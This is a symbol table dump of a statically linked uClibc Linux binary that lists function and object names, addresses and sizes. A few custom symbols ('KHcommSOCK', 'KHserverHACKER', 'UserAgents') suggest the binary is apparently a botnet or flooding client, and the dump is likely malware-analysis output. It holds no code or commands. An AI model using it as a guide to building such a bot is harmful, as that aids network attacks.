	.symtab	0x518ba0	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x518bb0	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x518bc0	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x518be0	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x519140	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	14
C.1.3840	.symtab	0x414ce0	40	OBJECT	<unknown>	DEFAULT	4
KHcommSOCK	.symtab	0x5191a0	4	OBJECT	<unknown>	DEFAULT	10
KHserverHACKER	.symtab	0x518d40	4	OBJECT	<unknown>	DEFAULT	9
LOCAL_ADDR	.symtab	0x51f46c	4	OBJECT	<unknown>	DEFAULT	10
Q	.symtab	0x5191c0	16384	OBJECT	<unknown>	DEFAULT	10
UserAgents	.symtab	0x518c20	288	OBJECT	<unknown>	DEFAULT	9
_Exit	.symtab	0x407844	43	FUNC	<unknown>	DEFAULT	2
_Jv_RegisterClasses	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_READ.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_WRITE.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__CTOR_END__	.symtab	0x518ba8	0	OBJECT	<unknown>	DEFAULT	6
__CTOR_LIST__	.symtab	0x518ba0	0	OBJECT	<unknown>	DEFAULT	6
__C_ctype_b	.symtab	0x518d58	8	OBJECT	<unknown>	DEFAULT	9
__C_ctype_b.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b_data	.symtab	0x413270	768	OBJECT	<unknown>	DEFAULT	4
__C_ctype_tolower	.symtab	0x519128	8	OBJECT	<unknown>	DEFAULT	9
__C_ctype_tolower.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_tolower_data	.symtab	0x414ef0	768	OBJECT	<unknown>	DEFAULT	4
__C_ctype_toupper	.symtab	0x518d68	8	OBJECT	<unknown>	DEFAULT	9
__C_ctype_toupper.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_toupper_data	.symtab	0x413570	768	OBJECT	<unknown>	DEFAULT	4
__DTOR_END__	.symtab	0x518bb8	0	OBJECT	<unknown>	DEFAULT	7
__DTOR_LIST__	.symtab	0x518bb0	0	OBJECT	<unknown>	DEFAULT	7
__EH_FRAME_BEGIN__	.symtab	0x516000	0	OBJECT	<unknown>	DEFAULT	5
__FRAME_END__	.symtab	0x518b98	0	OBJECT	<unknown>	DEFAULT	5
__GI___C_ctype_b	.symtab	0x518d58	8	OBJECT	<unknown>	HIDDEN	9
__GI___C_ctype_tolower	.symtab	0x519128	8	OBJECT	<unknown>	HIDDEN	9
__GI___C_ctype_toupper	.symtab	0x518d68	8	OBJECT	<unknown>	HIDDEN	9
__GI___ctype_b	.symtab	0x518d60	8	OBJECT	<unknown>	HIDDEN	9
__GI___ctype_tolower	.symtab	0x519130	8	OBJECT	<unknown>	HIDDEN	9
__GI___ctype_toupper	.symtab	0x518d70	8	OBJECT	<unknown>	HIDDEN	9
__GI___errno_location	.symtab	0x4078ec	6	FUNC	<unknown>	HIDDEN	2
__GI___fcntl_nocancel	.symtab	0x40774c	100	FUNC	<unknown>	HIDDEN	2
__GI___fgetc_unlocked	.symtab	0x40d010	222	FUNC	<unknown>	HIDDEN	2
__GI___glibc_strerror_r	.symtab	0x4092a8	14	FUNC	<unknown>	HIDDEN	2
__GI___h_errno_location	.symtab	0x40bc14	6	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl	.symtab	0x4076e8	100	FUNC	<unknown>	HIDDEN	2
__GI___sigaddset	.symtab	0x4096f4	28	FUNC	<unknown>	HIDDEN	2
__GI___sigdelset	.symtab	0x409710	30	FUNC	<unknown>	HIDDEN	2
__GI___sigismember	.symtab	0x4096d4	32	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x40b3ec	70	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x40b467	58	FUNC	<unknown>	HIDDEN	2
__GI___xpg_strerror_r	.symtab	0x4092d4	196	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x407844	43	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x40a8a0	200	FUNC	<unknown>	HIDDEN	2
__GI_atoi	.symtab	0x40ad44	18	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x40dd88	43	FUNC	<unknown>	HIDDEN	2
__GI_clock_getres	.symtab	0x40b814	41	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x4078a0	41	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x40b948	147	FUNC	<unknown>	HIDDEN	2
__GI_config_close	.symtab	0x40bede	43	FUNC	<unknown>	HIDDEN	2
__GI_config_open	.symtab	0x40bf09	46	FUNC	<unknown>	HIDDEN	2
__GI_config_read	.symtab	0x40bc1c	706	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x4094b0	43	FUNC	<unknown>	HIDDEN	2
__GI_dup2	.symtab	0x4074dc	44	FUNC	<unknown>	HIDDEN	2
__GI_errno	.symtab	0x51f428	4	OBJECT	<unknown>	HIDDEN	10
__GI_execl	.symtab	0x40b278	287	FUNC	<unknown>	HIDDEN	2
__GI_execve	.symtab	0x40b7d0	38	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x40aeb8	92	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x40c008	269	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x4076e8	100	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x40cecc	322	FUNC	<unknown>	HIDDEN	2
__GI_fgetc	.symtab	0x40cd00	128	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x40d010	222	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x40cd80	116	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x40d0f0	116	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x40c118	10	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x4075e8	38	FUNC	<unknown>	HIDDEN	2
__GI_fputs_unlocked	.symtab	0x408a18	56	FUNC	<unknown>	HIDDEN	2
__GI_fseek	.symtab	0x40e12c	5	FUNC	<unknown>	HIDDEN	2
__GI_fseeko64	.symtab	0x40e134	225	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x40ddb4	82	FUNC	<unknown>	HIDDEN	2
__GI_fstat64	.symtab	0x40ddb4	82	FUNC	<unknown>	HIDDEN	2
__GI_fwrite_unlocked	.symtab	0x408a50	128	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x40d010	222	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x407698	36	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x40b868	8	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x4075e0	8	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x40b8bc	8	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname	.symtab	0x409460	10	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname2	.symtab	0x40946c	65	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname2_r	.symtab	0x40da60	761	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname_r	.symtab	0x40f67c	791	FUNC	<unknown>	HIDDEN	2
__GI_gethostname	.symtab	0x40f9c0	94	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x40b7f8	19	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x4075a4	8	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x40b840	40	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x4094dc	41	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x40b80c	8	FUNC	<unknown>	HIDDEN	2
__GI_h_errno	.symtab	0x51f42c	4	OBJECT	<unknown>	HIDDEN	10
__GI_htonl	.symtab	0x40942c	5	FUNC	<unknown>	HIDDEN	2
__GI_htons	.symtab	0x409424	8	FUNC	<unknown>	HIDDEN	2
__GI_inet_addr	.symtab	0x409440	29	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x40d9d8	135	FUNC	<unknown>	HIDDEN	2
__GI_inet_ntop	.symtab	0x40e771	518	FUNC	<unknown>	HIDDEN	2
__GI_inet_pton	.symtab	0x40e491	493	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x40ac88	185	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x4077dc	101	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x409398	25	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x4076bc	44	FUNC	<unknown>	HIDDEN	2
__GI_lseek	.symtab	0x40fe98	45	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x40fa70	5	FUNC	<unknown>	HIDDEN	2
__GI_memchr	.symtab	0x40d2dc	236	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x408f50	102	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x40d3c8	702	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x40d280	90	FUNC	<unknown>	HIDDEN	2
__GI_memrchr	.symtab	0x40d7a8	233	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x408ad0	210	FUNC	<unknown>	HIDDEN	2
__GI_mmap	.symtab	0x40b6f4	48	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x40b914	42	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x40b8c4	38	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x40b8ec	38	FUNC	<unknown>	HIDDEN	2
__GI_ntohl	.symtab	0x409439	5	FUNC	<unknown>	HIDDEN	2
__GI_ntohs	.symtab	0x409431	8	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x407510	106	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x40ba71	157	FUNC	<unknown>	HIDDEN	2
__GI_pipe	.symtab	0x40757c	38	FUNC	<unknown>	HIDDEN	2
__GI_poll	.symtab	0x40f994	41	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x40dd5c	18	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x40a974	72	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x40ab77	90	FUNC	<unknown>	HIDDEN	2
__GI_rawmemchr	.symtab	0x40d6e8	189	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x407670	39	FUNC	<unknown>	HIDDEN	2
__GI_readdir64	.symtab	0x40bb84	143	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x40953c	11	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x409548	45	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x40b870	74	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x407644	44	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x409578	11	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x409584	48	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x4095b4	53	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x40aacc	171	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x40b72d	114	FUNC	<unknown>	HIDDEN	2
__GI_sigaddset	.symtab	0x40961c	35	FUNC	<unknown>	HIDDEN	2
__GI_sigemptyset	.symtab	0x409640	10	FUNC	<unknown>	HIDDEN	2
__GI_signal	.symtab	0x40964c	133	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x407870	47	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x40af14	142	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x4095ec	47	FUNC	<unknown>	HIDDEN	2
__GI_sprintf	.symtab	0x407924	149	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x40abd1	183	FUNC	<unknown>	HIDDEN	2
__GI_stat	.symtab	0x40fa20	79	FUNC	<unknown>	HIDDEN	2
__GI_stat64	.symtab	0x40fa20	79	FUNC	<unknown>	HIDDEN	2
__GI_strcasecmp	.symtab	0x40fec8	48	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x408bb0	417	FUNC	<unknown>	HIDDEN	2
__GI_strchrnul	.symtab	0x40d8cc	268	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x408e44	33	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x408e44	33	FUNC	<unknown>	HIDDEN	2
__GI_strcpy	.symtab	0x408e70	213	FUNC	<unknown>	HIDDEN	2
__GI_strcspn	.symtab	0x40d168	135	FUNC	<unknown>	HIDDEN	2
__GI_strdup	.symtab	0x40fa78	54	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x408d60	225	FUNC	<unknown>	HIDDEN	2
__GI_strncpy	.symtab	0x409224	131	FUNC	<unknown>	HIDDEN	2
__GI_strnlen	.symtab	0x409158	201	FUNC	<unknown>	HIDDEN	2
__GI_strpbrk	.symtab	0x40e380	140	FUNC	<unknown>	HIDDEN	2
__GI_strrchr	.symtab	0x40d894	53	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x40d1f0	135	FUNC	<unknown>	HIDDEN	2
__GI_strstr	.symtab	0x409094	193	FUNC	<unknown>	HIDDEN	2
__GI_strtok	.symtab	0x4092c8	10	FUNC	<unknown>	HIDDEN	2
__GI_strtok_r	.symtab	0x40d688	94	FUNC	<unknown>	HIDDEN	2
__GI_strtol	.symtab	0x40ad58	10	FUNC	<unknown>	HIDDEN	2
__GI_strtoll	.symtab	0x40ad58	10	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x40b083	499	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x4093b4	110	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x4075ac	8	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x40b940	8	FUNC	<unknown>	HIDDEN	2
__GI_toupper	.symtab	0x4078cc	30	FUNC	<unknown>	HIDDEN	2
__GI_uname	.symtab	0x40fe70	38	FUNC	<unknown>	HIDDEN	2
__GI_vfork	.symtab	0x4074c4	21	FUNC	<unknown>	HIDDEN	2
__GI_vsnprintf	.symtab	0x4079bc	189	FUNC	<unknown>	HIDDEN	2
__GI_wait4	.symtab	0x40b7a0	47	FUNC	<unknown>	HIDDEN	2
__GI_waitpid	.symtab	0x407610	7	FUNC	<unknown>	HIDDEN	2
__GI_wcrtomb	.symtab	0x40bf38	68	FUNC	<unknown>	HIDDEN	2
__GI_wcsnrtombs	.symtab	0x40bf8c	123	FUNC	<unknown>	HIDDEN	2
__GI_wcsrtombs	.symtab	0x40bf7c	15	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x4077b0	42	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x518bc0	0	OBJECT	<unknown>	DEFAULT	8
__JCR_LIST__	.symtab	0x518bc0	0	OBJECT	<unknown>	DEFAULT	8
__app_fini	.symtab	0x51f418	8	OBJECT	<unknown>	HIDDEN	10
__atexit_lock	.symtab	0x5190e0	40	OBJECT	<unknown>	DEFAULT	9
__bss_start	.symtab	0x519138	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x40b432	53	FUNC	<unknown>	DEFAULT	2
__close_nameservers	.symtab	0x40f5dc	109	FUNC	<unknown>	HIDDEN	2
__ctype_b	.symtab	0x518d60	8	OBJECT	<unknown>	DEFAULT	9
__ctype_tolower	.symtab	0x519130	8	OBJECT	<unknown>	DEFAULT	9
__ctype_toupper	.symtab	0x518d70	8	OBJECT	<unknown>	DEFAULT	9
__curbrk	.symtab	0x51f430	8	OBJECT	<unknown>	HIDDEN	10
__data_start	.symtab	0x518bf0	0	NOTYPE	<unknown>	DEFAULT	9
__decode_dotted	.symtab	0x40e978	280	FUNC	<unknown>	HIDDEN	2
__decode_header	.symtab	0x40fb74	156	FUNC	<unknown>	HIDDEN	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__dns_lookup	.symtab	0x40ea90	1836	FUNC	<unknown>	HIDDEN	2
__do_global_ctors_aux	.symtab	0x40ffa0	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux	.symtab	0x400100	0	FUNC	<unknown>	DEFAULT	2
__dso_handle	.symtab	0x518be0	0	OBJECT	<unknown>	HIDDEN	9
__encode_dotted	.symtab	0x40fef8	162	FUNC	<unknown>	HIDDEN	2
__encode_header	.symtab	0x40fab0	193	FUNC	<unknown>	HIDDEN	2
__encode_question	.symtab	0x40fc10	80	FUNC	<unknown>	HIDDEN	2
__environ	.symtab	0x51f408	8	OBJECT	<unknown>	DEFAULT	10
__errno_location	.symtab	0x4078ec	6	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x51f3f8	8	OBJECT	<unknown>	HIDDEN	10
__fcntl_nocancel	.symtab	0x40774c	100	FUNC	<unknown>	DEFAULT	2
__fgetc_unlocked	.symtab	0x40d010	222	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x518b9c	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__fini_array_start	.symtab	0x518b9c	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__get_hosts_byname_r	.symtab	0x40f64c	48	FUNC	<unknown>	HIDDEN	2
__getdents	.symtab	0x40e00c	288	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x40e00c	288	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x40b7f8	19	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r	.symtab	0x4092a8	14	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__h_errno_location	.symtab	0x40bc14	6	FUNC	<unknown>	DEFAULT	2
__h_errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__init_array_end	.symtab	0x518b9c	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__init_array_start	.symtab	0x518b9c	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__libc_close	.symtab	0x4078a0	41	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x4094b0	43	FUNC	<unknown>	DEFAULT	2
__libc_fcntl	.symtab	0x4076e8	100	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x4075e8	38	FUNC	<unknown>	DEFAULT	2
__libc_lseek	.symtab	0x40fe98	45	FUNC	<unknown>	DEFAULT	2
__libc_lseek64	.symtab	0x40fa70	5	FUNC	<unknown>	DEFAULT	2
__libc_nanosleep	.symtab	0x40b8ec	38	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x407510	106	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x407670	39	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x40953c	11	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x409548	45	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x407644	44	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x409578	11	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x409584	48	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x40b72d	114	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x51f400	8	OBJECT	<unknown>	DEFAULT	10
__libc_waitpid	.symtab	0x407610	7	FUNC	<unknown>	DEFAULT	2
__libc_write	.symtab	0x4077b0	42	FUNC	<unknown>	DEFAULT	2
__local_nameserver	.symtab	0x414ed0	16	OBJECT	<unknown>	HIDDEN	4
__malloc_consolidate	.symtab	0x40a52a	407	FUNC	<unknown>	HIDDEN	2
__malloc_largebin_index	.symtab	0x409730	110	FUNC	<unknown>	DEFAULT	2
__malloc_lock	.symtab	0x518fa0	40	OBJECT	<unknown>	DEFAULT	9
__malloc_state	.symtab	0x51f730	1752	OBJECT	<unknown>	DEFAULT	10
__malloc_trim	.symtab	0x40a494	150	FUNC	<unknown>	DEFAULT	2
__nameserver	.symtab	0x51fe28	8	OBJECT	<unknown>	HIDDEN	10
__nameservers	.symtab	0x51fe30	4	OBJECT	<unknown>	HIDDEN	10
__open_etc_hosts	.symtab	0x40fc60	10	FUNC	<unknown>	HIDDEN	2
__open_nameservers	.symtab	0x40f211	968	FUNC	<unknown>	HIDDEN	2
__pagesize	.symtab	0x51f410	8	OBJECT	<unknown>	DEFAULT	10
__preinit_array_end	.symtab	0x518b9c	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__preinit_array_start	.symtab	0x518b9c	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__progname	.symtab	0x519110	8	OBJECT	<unknown>	DEFAULT	9
__progname_full	.symtab	0x519118	8	OBJECT	<unknown>	DEFAULT	9
__pthread_initialize_minimal	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__pthread_mutex_init	.symtab	0x40b3cf	3	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x40b3cc	3	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x40b3cc	3	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x40b3cc	3	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x40b3cc	3	FUNC	<unknown>	DEFAULT	2
__read_etc_hosts_r	.symtab	0x40fc6a	518	FUNC	<unknown>	HIDDEN	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__res_sync	.symtab	0x51fe18	8	OBJECT	<unknown>	HIDDEN	10
__resolv_attempts	.symtab	0x519125	1	OBJECT	<unknown>	HIDDEN	9
__resolv_lock	.symtab	0x51f440	40	OBJECT	<unknown>	DEFAULT	10
__resolv_timeout	.symtab	0x519124	1	OBJECT	<unknown>	HIDDEN	9
__restore_rt	.symtab	0x40b724	0	NOTYPE	<unknown>	DEFAULT	2
__rtld_fini	.symtab	0x51f420	8	OBJECT	<unknown>	HIDDEN	10
__searchdomain	.symtab	0x51fe20	8	OBJECT	<unknown>	HIDDEN	10
__searchdomains	.symtab	0x51fe34	4	OBJECT	<unknown>	HIDDEN	10
__sigaddset	.symtab	0x4096f4	28	FUNC	<unknown>	DEFAULT	2
__sigdelset	.symtab	0x409710	30	FUNC	<unknown>	DEFAULT	2
__sigismember	.symtab	0x4096d4	32	FUNC	<unknown>	DEFAULT	2
__stdin	.symtab	0x518d98	8	OBJECT	<unknown>	DEFAULT	9
__stdio_READ	.symtab	0x40e218	58	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x40c124	150	FUNC	<unknown>	HIDDEN	2
__stdio_adjust_position	.symtab	0x40e254	131	FUNC	<unknown>	HIDDEN	2
__stdio_fwrite	.symtab	0x40c3f0	259	FUNC	<unknown>	HIDDEN	2
__stdio_init_mutex	.symtab	0x407adb	15	FUNC	<unknown>	HIDDEN	2
__stdio_mutex_initializer.4911	.symtab	0x413870	40	OBJECT	<unknown>	DEFAULT	4
__stdio_rfill	.symtab	0x40e2d8	37	FUNC	<unknown>	HIDDEN	2
__stdio_seek	.symtab	0x40e35c	31	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x40e300	90	FUNC	<unknown>	HIDDEN	2
__stdio_trans2w_o	.symtab	0x40c4f4	149	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x407b74	39	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x518da0	8	OBJECT	<unknown>	DEFAULT	9
__syscall_error	.symtab	0x40b6dc	22	FUNC	<unknown>	HIDDEN	2
__syscall_error.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uClibc_fini	.symtab	0x40b3ec	70	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x40b467	58	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x40b4a1	570	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x519108	8	OBJECT	<unknown>	HIDDEN	9
__vfork	.symtab	0x4074c4	21	FUNC	<unknown>	HIDDEN	2
__xpg_strerror_r	.symtab	0x4092d4	196	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__xstat32_conv	.symtab	0x40deb4	172	FUNC	<unknown>	HIDDEN	2
__xstat64_conv	.symtab	0x40de08	172	FUNC	<unknown>	HIDDEN	2
__xstat_conv	.symtab	0x40df60	172	FUNC	<unknown>	HIDDEN	2
_adjust_pos.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_bss_custom_printf_spec	.symtab	0x51f1f0	10	OBJECT	<unknown>	DEFAULT	10
_charpad	.symtab	0x407b9c	77	FUNC	<unknown>	DEFAULT	2
_cs_funcs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_custom_printf_arginfo	.symtab	0x51f680	80	OBJECT	<unknown>	HIDDEN	10
_custom_printf_handler	.symtab	0x51f6d0	80	OBJECT	<unknown>	HIDDEN	10
_custom_printf_spec	.symtab	0x518f90	8	OBJECT	<unknown>	HIDDEN	9
_dl_aux_init	.symtab	0x40dd70	23	FUNC	<unknown>	DEFAULT	2
_dl_phdr	.symtab	0x51fe08	8	OBJECT	<unknown>	DEFAULT	10
_dl_phnum	.symtab	0x51fe10	8	OBJECT	<unknown>	DEFAULT	10
_edata	.symtab	0x519138	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x51fe38	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_errno	.symtab	0x51f428	4	OBJECT	<unknown>	DEFAULT	10
_exit	.symtab	0x407844	43	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fini	.symtab	0x40ffd4	0	FUNC	<unknown>	DEFAULT	3
_fixed_buffers	.symtab	0x51d1f0	8192	OBJECT	<unknown>	DEFAULT	10
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fp_out_narrow	.symtab	0x407be9	120	FUNC	<unknown>	DEFAULT	2
_fpmaxtostr	.symtab	0x40c6e0	1565	FUNC	<unknown>	HIDDEN	2
_fpmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fwrite.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_h_errno	.symtab	0x51f42c	4	OBJECT	<unknown>	DEFAULT	10
_init	.symtab	0x4000e8	0	FUNC	<unknown>	DEFAULT	1
_load_inttype	.symtab	0x40c58c	85	FUNC	<unknown>	HIDDEN	2
_load_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_init	.symtab	0x408318	114	FUNC	<unknown>	HIDDEN	2
_ppfs_init.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_parsespec	.symtab	0x4085b2	1126	FUNC	<unknown>	HIDDEN	2
_ppfs_parsespec.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_prepargs	.symtab	0x40838c	67	FUNC	<unknown>	HIDDEN	2
_ppfs_prepargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_setargs	.symtab	0x4083d0	436	FUNC	<unknown>	HIDDEN	2
_ppfs_setargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_promoted_size	.symtab	0x408584	46	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_pop_restore	.symtab	0x40b3da	18	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_push_defer	.symtab	0x40b3d2	8	FUNC	<unknown>	DEFAULT	2
_rfill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_sigintr	.symtab	0x51f720	8	OBJECT	<unknown>	HIDDEN	10
_start	.symtab	0x400194	42	FUNC	<unknown>	DEFAULT	2
_stdio.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_stdio_fopen	.symtab	0x40c1bc	563	FUNC	<unknown>	HIDDEN	2
_stdio_init	.symtab	0x407a7c	95	FUNC	<unknown>	HIDDEN	2
_stdio_openlist	.symtab	0x518da8	8	OBJECT	<unknown>	DEFAULT	9
_stdio_openlist_add_lock	.symtab	0x518db0	40	OBJECT	<unknown>	DEFAULT	9
